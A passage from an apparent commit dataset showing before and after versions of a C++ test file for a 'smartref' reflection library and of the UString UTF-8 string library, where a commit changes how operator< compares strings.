expression;})\n\n\/\/ TODO:\n\/\/ - constructing a smartref (e.g. Ref<int> x;)\n\n\/\/ static_assert(reflect<Ref<T>::value_type>             == reflect<T::value_type>);\n\/\/ static_assert(reflect<Ref<T>::allocator_type>         == reflect<T::allocator_type>);\n\/\/ static_assert(reflect<Ref<T>::size_type>              == reflect<T::size_type>);\n\/\/ static_assert(reflect<Ref<T>::difference_type>        == reflect<T::difference_type>);\n\/\/ static_assert(reflect<Ref<T>::reference>              == reflect<T::reference>);\n\/\/ static_assert(reflect<Ref<T>::const_reference>        == reflect<T::const_reference>);\n\/\/ static_assert(reflect<Ref<T>::pointer>                == reflect<T::pointer>);\n\/\/ static_assert(reflect<Ref<T>::const_pointer>          == reflect<T::const_pointer>);\n\/\/ static_assert(reflect<Ref<T>::iterator>               == reflect<T::iterator>);\n\/\/ static_assert(reflect<Ref<T>::const_iterator>         == reflect<T::const_iterator>);\n\/\/ static_assert(reflect<Ref<T>::reverse_iterator>       == reflect<T::reverse_iterator>);\n\/\/ static_assert(reflect<Ref<T>::const_reverse_iterator> == reflect<T::const_reverse_iterator>);\n\n\/\/ \/\/! Member functions\n\/\/ \/\/ TODO: Test all overloads\n\/\/ \/\/ TODO: (constructor)\n\/\/ \/\/ TODO: Why does operator= work? What does it do?\n\/\/ \/\/ static_assert(IS_VALID(_.operator=(_)));\n\/\/ \/\/ static_assert(IS_VALID(_.operator=(__)));\n\/\/ static_assert(IS_VALID(_ = __));\n\/\/ static_assert(IS_VALID(_.assign(0, 0)));\n\/\/ static_assert(IS_VALID(_.assign(begin(_), end(_))));\n\/\/ static_assert(IS_VALID(_.get_allocator()));\n\/\/ \/\/! Element access\n\/\/ static_assert(IS_VALID(_.at(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.operator[](0)));\n\/\/ static_assert(IS_VALID(_[0]));\n\/\/ static_assert(IS_VALID(_.front()));\n\/\/ static_assert(IS_VALID(_.back()));\n\/\/ static_assert(IS_VALID(_.data()));\n\n\/\/ \/\/! Iterators\n\/\/ static_assert(IS_VALID(_.begin()));\n\/\/ static_assert(IS_VALID(_.cbegin()));\n\/\/ static_assert(IS_VALID(_.end()));\n\/\/ static_assert(IS_VALID(_.cend()));\n\/\/ static_assert(IS_VALID(_.rbegin()));\n\/\/ static_assert(IS_VALID(_.crbegin()));\n\/\/ static_assert(IS_VALID(_.rend()));\n\/\/ static_assert(IS_VALID(_.crend()));\n\n\/\/ \/\/! Capacity\n\/\/ static_assert(IS_VALID(_.empty()));\n\/\/ static_assert(IS_VALID(_.size()));\n\/\/ static_assert(IS_VALID(_.max_size()));\n\/\/ static_assert(IS_VALID(_.reserve(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.capacity()));\n\/\/ static_assert(IS_VALID(_.shrink_to_fit()));\n\n\/\/ \/\/! Modifiers\n\/\/ static_assert(IS_VALID(_.clear()));\n\/\/ static_assert(IS_VALID(_.insert(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.emplace(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.template emplace<int>(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.erase(begin(_))));\n\/\/ static_assert(IS_VALID(_.push_back(0)));\n\/\/ static_assert(IS_VALID(_.emplace_back(0)));\n\/\/ static_assert(IS_VALID(_.template emplace_back<int>(0)));\n\/\/ static_assert(IS_VALID(_.pop_back()));\n\/\/ static_assert(IS_VALID(_.resize(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.swap(_)));\n\n\/\/ \/\/! Non-member functions\n\/\/ \/\/ static_assert(IS_VALID(_ == _);\n\/\/ \/\/ TODO: operator!=\n\/\/ \/\/ TODO: operator<\n\/\/ \/\/ TODO: operator<=\n\/\/ \/\/ TODO: operator>\n\/\/ \/\/ TODO: operator>=\n\/\/ \/\/ TODO: std::swap\n\n\/\/ \/\/ TODO: Deduction guides\n\n} \/\/ namespace tests_containers\n<commit_msg>Fixed a 'typo'.<commit_after>#include <reflection\/reflection.h>\n#include <smartref\/smartref.h>\n\n\/\/ #include <vector>\n#include <cassert>\n\nnamespace tests_containers {\n\n\/\/ template <typename F>\n\/\/ class reflect_member_function : public reflection::reflect_base<reflection::reflected_kind::member_function> {\n\/\/ private:\n\/\/     template <typename... ExplicitArgs, typename... Args>\n\/\/     decltype(auto) indirect(Args&&... args)\n\/\/     {\n\/\/         auto f = [](auto& obj, auto&&... args) { if constexpr (sizeof...(ExplicitArgs) == 0) return obj.operator=(std::forward<Args>(args)...); else if constexpr (utils::always_true<Args...>) return obj.template operator=<ExplicitArgs...>( std::forward<Args>(args)...); };\n\/\/         return F{}(*this, f, std::forward<Args>(args)...);\n\/\/     }\n\/\/ public:\n\/\/     template <typename... ExplicitArgs, typename... Args>\n\/\/     auto operator=(Args&&... args) -> decltype(indirect<ExplicitArgs...>(std::forward<Args>(args)...)) { return indirect<ExplicitArgs...>(std::forward<Args>(args)...); }\n\/\/ };\n\/\/ template<typename T>\n\nstruct Ref : smartref::reflect_member_function<Ref>\n\/\/ struct Ref : smartref::using_<T>\n{\n  int ref;\n\n  static auto &counter()\n  {\n    static auto count = 0;\n    return count;\n  }\n\n  operator int &()\n  {\n    ++counter();\n    return ref;\n  }\n\n  Ref(int arg) : ref{arg} {}\n\n  using Base = smartref::reflect_member_function<Ref>;\n  using Base::operator=;\n\n  Ref() = default;\n\n  Ref(const Ref &) = default;\n  Ref &operator=(const Ref &) = default;\n  Ref(Ref &&) = default;\n  Ref &operator=(Ref &&) = default;\n};\n\ntemplate<typename T, typename Delegate = int>\nauto test = []{\n  \/\/! Uninitialized construction\n  T a;\n\n  \/\/! Default construction\n  T b{};\n  T c = {};\n\n  \/\/! Copy construction\n  T d{a};\n  T e = a;\n  T f = {a};\n  auto g{a};\n  auto h = a;\n  auto i = {a};\n\n  \/\/! Move construction\n  T j{std::move(a)};\n  T k = std::move(a);\n  T l = {std::move(a)};\n  auto m{T{}};\n  auto n = T{};\n  auto o = {T{}};\n\n  \/\/! Delegate type copy construction\n  auto delegate = Delegate{};\n  T p{delegate};\n  T q = delegate;\n  T r = {delegate};\n  auto s{T{delegate}};\n  auto t = T{delegate};\n  auto u = {T{delegate}};\n\n  \/\/! Delegate type move construction\n  T v{std::move(delegate)};\n  T w = std::move(delegate);\n  T x = {std::move(delegate)};\n  auto y{T{std::move(delegate)}};\n  auto z = T{std::move(delegate)};\n  auto A = {T{std::move(delegate)}};\n\n  \/\/! Copy assignment\n  a = b;\n  a = b = c;\n  a = (b = c);\n  (a = b) = c;\n\n  \/\/! Move assignment\n  a = std::move(b);\n  a = b = std::move(c);\n  a = (b = std::move(c));\n  (a = b) = std::move(c);\n\n  \/\/! Delegate type copy assignment\n  a = delegate;\n  a = b = delegate;\n  a = (b = delegate);\n  (a = b) = delegate;\n\n  \/\/! Delegate type move assignment\n  a = std::move(delegate);\n  a = b = std::move(delegate);\n  a = (b = std::move(delegate));\n  (a = b) = std::move(delegate);\n\n  return 0;\n};\n\nauto test_int = test<int>();\n\nauto test_ref = []{\n  Ref<int>::counter() = 0;\n  test<Ref<int>>();\n  assert(Ref<int>::counter() == 18);\n\n  Ref<float>::counter() = 0;\n  test<Ref<float>>();\n  assert(Ref<float>::counter() == 18);\n\n  Ref<bool>::counter() = 0;\n  test<Ref<bool>>();\n  assert(Ref<bool>::counter() == 18);\n\n  return 0;\n}();\n\n\/\/ using T = int;\n\/\/ using T = std::vector<int>;\n\n\/\/ using reflection::reflect;\n\n\/\/ \/\/! Member-types\n\/\/ constexpr auto is_valid = [](auto expression)\n\/\/ {\n\/\/   \/\/ auto expected = reflect<decltype(expression(std::declval<    T >(), std::declval<    T >()))>;\n\/\/   auto actual   = reflect<decltype(expression(std::declval<Ref<T>>(), std::declval<    T >()))>;\n\n\/\/   return true;\n\/\/   \/\/ return actual == expected;\n\/\/ };\n\n\/\/ #define IS_VALID(expression) is_valid([](auto &&_, auto &&__) {return expression;})\n\n\/\/ TODO:\n\/\/ - constructing a smartref (e.g. Ref<int> x;)\n\n\/\/ static_assert(reflect<Ref<T>::value_type>             == reflect<T::value_type>);\n\/\/ static_assert(reflect<Ref<T>::allocator_type>         == reflect<T::allocator_type>);\n\/\/ static_assert(reflect<Ref<T>::size_type>              == reflect<T::size_type>);\n\/\/ static_assert(reflect<Ref<T>::difference_type>        == reflect<T::difference_type>);\n\/\/ static_assert(reflect<Ref<T>::reference>              == reflect<T::reference>);\n\/\/ static_assert(reflect<Ref<T>::const_reference>        == reflect<T::const_reference>);\n\/\/ static_assert(reflect<Ref<T>::pointer>                == reflect<T::pointer>);\n\/\/ static_assert(reflect<Ref<T>::const_pointer>          == reflect<T::const_pointer>);\n\/\/ static_assert(reflect<Ref<T>::iterator>               == reflect<T::iterator>);\n\/\/ static_assert(reflect<Ref<T>::const_iterator>         == reflect<T::const_iterator>);\n\/\/ static_assert(reflect<Ref<T>::reverse_iterator>       == reflect<T::reverse_iterator>);\n\/\/ static_assert(reflect<Ref<T>::const_reverse_iterator> == reflect<T::const_reverse_iterator>);\n\n\/\/ \/\/! Member functions\n\/\/ \/\/ TODO: Test all overloads\n\/\/ \/\/ TODO: (constructor)\n\/\/ \/\/ TODO: Why does operator= work? What does it do?\n\/\/ \/\/ static_assert(IS_VALID(_.operator=(_)));\n\/\/ \/\/ static_assert(IS_VALID(_.operator=(__)));\n\/\/ static_assert(IS_VALID(_ = __));\n\/\/ static_assert(IS_VALID(_.assign(0, 0)));\n\/\/ static_assert(IS_VALID(_.assign(begin(_), end(_))));\n\/\/ static_assert(IS_VALID(_.get_allocator()));\n\/\/ \/\/! Element access\n\/\/ static_assert(IS_VALID(_.at(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.operator[](0)));\n\/\/ static_assert(IS_VALID(_[0]));\n\/\/ static_assert(IS_VALID(_.front()));\n\/\/ static_assert(IS_VALID(_.back()));\n\/\/ static_assert(IS_VALID(_.data()));\n\n\/\/ \/\/! Iterators\n\/\/ static_assert(IS_VALID(_.begin()));\n\/\/ static_assert(IS_VALID(_.cbegin()));\n\/\/ static_assert(IS_VALID(_.end()));\n\/\/ static_assert(IS_VALID(_.cend()));\n\/\/ static_assert(IS_VALID(_.rbegin()));\n\/\/ static_assert(IS_VALID(_.crbegin()));\n\/\/ static_assert(IS_VALID(_.rend()));\n\/\/ static_assert(IS_VALID(_.crend()));\n\n\/\/ \/\/! Capacity\n\/\/ static_assert(IS_VALID(_.empty()));\n\/\/ static_assert(IS_VALID(_.size()));\n\/\/ static_assert(IS_VALID(_.max_size()));\n\/\/ static_assert(IS_VALID(_.reserve(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.capacity()));\n\/\/ static_assert(IS_VALID(_.shrink_to_fit()));\n\n\/\/ \/\/! Modifiers\n\/\/ static_assert(IS_VALID(_.clear()));\n\/\/ static_assert(IS_VALID(_.insert(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.emplace(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.template emplace<int>(begin(_), 0)));\n\/\/ static_assert(IS_VALID(_.erase(begin(_))));\n\/\/ static_assert(IS_VALID(_.push_back(0)));\n\/\/ static_assert(IS_VALID(_.emplace_back(0)));\n\/\/ static_assert(IS_VALID(_.template emplace_back<int>(0)));\n\/\/ static_assert(IS_VALID(_.pop_back()));\n\/\/ static_assert(IS_VALID(_.resize(T::size_type{})));\n\/\/ static_assert(IS_VALID(_.swap(_)));\n\n\/\/ \/\/! Non-member functions\n\/\/ \/\/ static_assert(IS_VALID(_ == _);\n\/\/ \/\/ TODO: operator!=\n\/\/ \/\/ TODO: operator<\n\/\/ \/\/ TODO: operator<=\n\/\/ \/\/ TODO: operator>\n\/\/ \/\/ TODO: operator>=\n\/\/ \/\/ TODO: std::swap\n\n\/\/ \/\/ TODO: Deduction guides\n\n} \/\/ namespace tests_containers\n<|endoftext|>"}
{"text":"<commit_before>\/\/   UString - UTF-8 C++ Library\n\/\/     Copyright (c) 2016, 2017 Jeremy Harmon <jeremy.harmon@zoho.com>\n\/\/     http:\/\/github.com\/zordtk\/ustring\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#include \"UString.h\"\n#include \"utf8\/utf8.h\"\n#include <algorithm>\n#include <iterator>\n\nUString::UString(UChar ch) USTRING_NOEXCEPT\n{\n    append(ch);\n}\n\nUString::UString(const char *str) USTRING_NOEXCEPT\n{\n    if( str != nullptr )\n        mData.assign(str);\n}\n\nUString::UString(const UString& str) USTRING_NOEXCEPT\n{\n    mData.assign(str.mData);\n}\n\nUString::UString(const std::string& str) USTRING_NOEXCEPT\n{\n    mData.assign(str);\n}\n\nUString& UString::insert(const UString& what, std::size_t where)\n{\n    if( where == 0 )\n    {\n        prepend(what);\n        return *this;\n    }\n    else if( where > length()-1 )\n    {\n        append(what);\n        return *this;\n    }\n\n    UString retStr;\n\n    std::copy(begin(), std::next(begin(), where), std::back_inserter(retStr));\n    retStr.append(what);\n    std::copy(std::next(begin(), where), end(), std::back_inserter(retStr));\n\n    assign(retStr);\n    return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Assignment                                                                        \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUString& UString::assign(const UString& str)\n{\n    mData.assign(str.mData);\n    return *this;\n}\n\nUString& UString::assign(const char* str)\n{\n    if( str != nullptr )\n        mData.assign(str);\n    return *this;\n}\n\nUString& UString::operator=(const UString& str)\n{\n    return assign(str);\n}\n\nUString& UString::operator=(const char* str)\n{\n    return assign(str);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Append\/Prepend                                                                    \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUString& UString::append(UChar ch)\n{\n    utf8::append(ch, std::back_inserter(mData));\n    return *this;\n}\n\nUString& UString::append(const char* str)\n{\n    if( str != nullptr )\n        mData.append(str);\n    return *this;\n}\n\nUString& UString::append(const UString& str)\n{\n    mData.append(str.mData);\n    return *this;\n}\n\nvoid UString::push_back(UChar ch)\n{\n    append(ch);\n}\n\nvoid UString::push_back(const UString& str)\n{\n    append(str);\n}\n\nUString& UString::prepend(UChar ch)\n{\n    mData = UString(ch).append(*this).mData;\n    return *this;\n}\n\nUString& UString::prepend(const char *str)\n{\n    mData = UString(str).append(*this).mData;\n    return *this;\n}\n\nUString& UString::prepend(const UString& str)\n{\n    mData = UString(str).append(*this).mData;\n    return *this;\n}\n\nvoid UString::push_front(UChar ch)\n{\n    prepend(ch);\n}\n\nvoid UString::push_front(const UString& str)\n{\n    prepend(str);\n}\n\nUString& UString::operator+=(const UString& str)\n{\n    append(str);\n    return *this;\n}\n\nUString& UString::operator+=(const char* str)\n{\n    append(str);\n    return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Comparison                                                                        \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nbool UString::operator==(const UString& str) const\n{\n    return( mData == str.mData );\n}\n\nbool UString::operator==(const char* str) const\n{\n    return( str && mData == str );\n}\n\nbool UString::operator!=(const UString& str) const\n{\n    return( mData != str.mData );\n}\n\nbool UString::operator!=(const char* str) const\n{\n    return( str && mData != str );\n}\n\nint UString::compare(const UString& other) const\n{\n    return mData.compare(other.mData);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Case Conversion                                                                   \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUString& UString::toLower()\n{\n    UString tmp;\n    for( UChar ch : *this )\n        tmp.append(ch.toLower());\n\n    assign(tmp);\n    return *this;\n}\n\nUString& UString::toUpper()\n{\n    UString tmp;\n    for( UChar ch : *this )\n        tmp.append(ch.toUpper());\n\n    assign(tmp);\n    return *this;\n}\n\nUString& UString::toTitleCase()\n{\n    UString tmp;\n    for( UChar ch : *this )\n        tmp.append(ch.toTitleCase());\n\n    assign(tmp);\n    return *this;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Type-Casting                                                                      \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst std::string& UString::toStdString() const\n{\n    return mData;\n}\n\nconst std::u16string UString::toStdU16String() const\n{\n    std::u16string u16str;\n    utf8::utf8to16(mData.begin(), mData.end(), std::back_inserter(u16str));\n    return u16str;\n}\n\nconst std::u32string UString::toStdU32String() const\n{\n    std::u32string u32str;\n    utf8::utf8to32(mData.begin(), mData.end(), std::back_inserter(u32str));\n    return u32str;\n}\n\nUString UString::fromStdU16String(const std::u16string& str)\n{\n    UString retStr;\n    utf8::utf16to8(str.begin(), str.end(), std::back_inserter(retStr.mData));\n    return retStr;\n}\n\nUString UString::fromStdU32String(const std::u32string& str)\n{\n    UString retStr;\n    utf8::utf32to8(str.begin(), str.end(), std::back_inserter(retStr.mData));\n    return retStr;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Size                                                                              \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstd::size_t UString::length() const\n{\n    return utf8::distance(mData.begin(), mData.end());\n}\n\nstd::size_t UString::size() const\n{\n    return mData.size();\n}\n\nstd::size_t UString::maxSize() const\n{\n    return mData.max_size();\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Character Indexing                                                                \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nconst UChar UString::at(std::size_t i) const\n{\n    utf8::iterator<std::string::const_iterator> iter(mData.begin(), mData.begin(), mData.end());\n    for(std::size_t j = 0; j < utf8::distance(mData.begin(), mData.end()); j++, ++iter)\n    {\n        if( j == i )\n            return *iter;\n    }\n\n    return UCHAR_CODE_NULL;\n}\n\nconst UChar UString::operator[](std::size_t i) const\n{\n    return at(i);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Sub-String                                                                        \/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nUString UString::subStr(std::size_t start, std::size_t len) const\n{\n    UString retStr;\n    auto startIter = mData.begin();\n    auto endIter   = mData.begin();\n\n    utf8::advance(startIter, start, mData.end());\n    if( len != npos )\n    {\n        endIter = startIter;\n        utf8::advance(endIter, len, mData.end());\n    }\n    else\n        endIter = mData.end();\n\n    std::copy(startIter, endIter, std::back_inserter(retStr.mData));\n    return retStr;\n}\n\nstd::size_t UString::find(UChar ch, std::size_t pos) const\n{\n    auto startIter = begin();\n    if( pos != npos )\n        std::advance(startIter, pos);\n\n    auto iter = std::find(startIter, end(), ch);\n    if( iter != end() )\n        return std::distance(begin(), iter);\n\n    return npos;\n}\n\nstd::size_t UString::find(const UString& find, std::size_t start) const\n{\n    auto startIter = begin();\n    if( start != npos )\n        std::advance(startIter, start);\n\n    auto iter = std::search(startIter, end(), find.begin(), find.end());\n    if( iter != end() )\n        return std::distance(begin(), iter);\n\n    return npos;\n}\n\nstd::size_t UString::findLastOf(UChar ch, std::size_t pos) const\n{\n    auto startIter = rbegin();\n    if( pos != npos )\n        std::advance(startIter, pos);\n\n    auto iter = std::find(startIter, rend(), ch);\n    if( iter != rend() )\n        return length() - std::distance(rbegin(), iter) - 1;\n\n    return npos;\n}\n\nstd::size_t UString::findLastOf(const UString& find, std::size_t pos) const\n{\n    auto startIter = rbegin();\n    if( pos != npos )\n        std::advance(startIter, pos);\n\n    auto iter = std::search(startIter, rend(), find.rbegin(), find.rend());\n    if( iter != rend() )\n        return length() - std::distance(rbegin(), iter) - 1;\n\n    return npos;\n}\n\nUString& UString::replace(std::size_t start, std::size_t len, const UString& with)\n{\n    UString retStr;\n\n    auto firstHalfIter = begin();\n    std::advance(firstHalfIter, start);\n    std::copy(begin(), firstHalfIter, std::back_inserter(retStr));\n\n    retStr.append(with);\n    auto secondHalfIter = begin();\n    std::advance(secondHalfIter, start+len);\n    std::copy(secondHalfIter, end(), std::back_inserter(retStr));\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::replaceAll(const UString& what, const UString& with, std::size_t start)\n{\n    UString retStr = *this;\n\n    std::size_t startPos = start;\n    while( (startPos = retStr.find(what, startPos)) != npos )\n    {\n        retStr    = retStr.replace(startPos, what.length(), with);\n        startPos += with.length();\n    }\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::replaceFirst(const UString& what, const UString& with, std::size_t start)\n{\n    UString retStr = *this;\n\n    std::size_t pos = retStr.find(what, start);\n    if( pos != npos )\n        retStr = retStr.replace(pos, what.length(), with);\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::replaceLast(const UString& what, const UString& with, std::size_t end)\n{\n    UString retStr = *this;\n    if( end != npos )\n        end = length() - end;\n\n    std::size_t pos = retStr.findLastOf(what, end);\n\n    if( pos != npos )\n        retStr = retStr.replace(pos-what.length()+1, what.length(), with);\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::clear()\n{\n    mData.clear();\n    return *this;\n}\n\nUString& UString::erase(const UString::Iterator& start, const UString::Iterator& stop)\n{\n    UString retStr;\n\n    std::copy(begin(), start, std::back_inserter(retStr));\n    std::copy(stop, end(), std::back_inserter(retStr));\n\n    assign(retStr);\n    return *this;\n}\n\nUString& UString::erase(std::size_t start, std::size_t num)\n{\n    if( start == 0 )\n    {\n        assign(subStr(num));\n        return *this;\n    }\n    else if( start == length()-1 )\n    {\n        assign(subStr(0, length()-1));\n        return *this;\n    }\n\n    UString retStr;\n    auto firstHalfIter = begin();\n    auto secondHalfIter = begin();\n\n    std::advance(firstHalfIter, start);\n    std::advance(secondHalfIter, start+num);\n\n    std::copy(begin(), firstHalfIter, std::back_inserter(retStr));\n    std::copy(secondHalfIter, end(), std::back_inserter(retStr));\n\n    assign(retStr);\n    return *this;\n}\n\nstd::ostream& operator<<(std::ostream& os, const UString& str)\n{\n    os << str.toStdString();\n    return os;\n}\n\nbool operator<(const UString &str1, const UString &str2)\n{\n    return( str1.compare(str2) );\n}<commit_msg>Changed the way operator< is compared<commit_after>\/\/   UString - UTF-8 C++ Library\n\/\/     Copyright (c) 2016, 2017 Jeremy Harmon <jeremy.harmon@zoho.com>\n\/\/     http:\/\/github.com\/zordtk\/ustring\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#include \"UString.h\"\n#include \"utf8\/utf8.h\"\n#include <algorithm>\n#include <iterator>\n\nUString::UString(UChar ch) USTRING_NOEXCEPT\n{\n    append(ch);\n}\n\nUString::UString(const char *str) USTRING_NOEXCEPT\n{\n    if( str != nullptr )\n        mData.assign(str);\n}\n\nUString::UString(const UString& str) USTRING_NOEXCEPT\n{\n    mData.assign(str.mData);\n}\n\nUString::UString(const std::string& str) USTRING_NOEXCEPT\n{\n    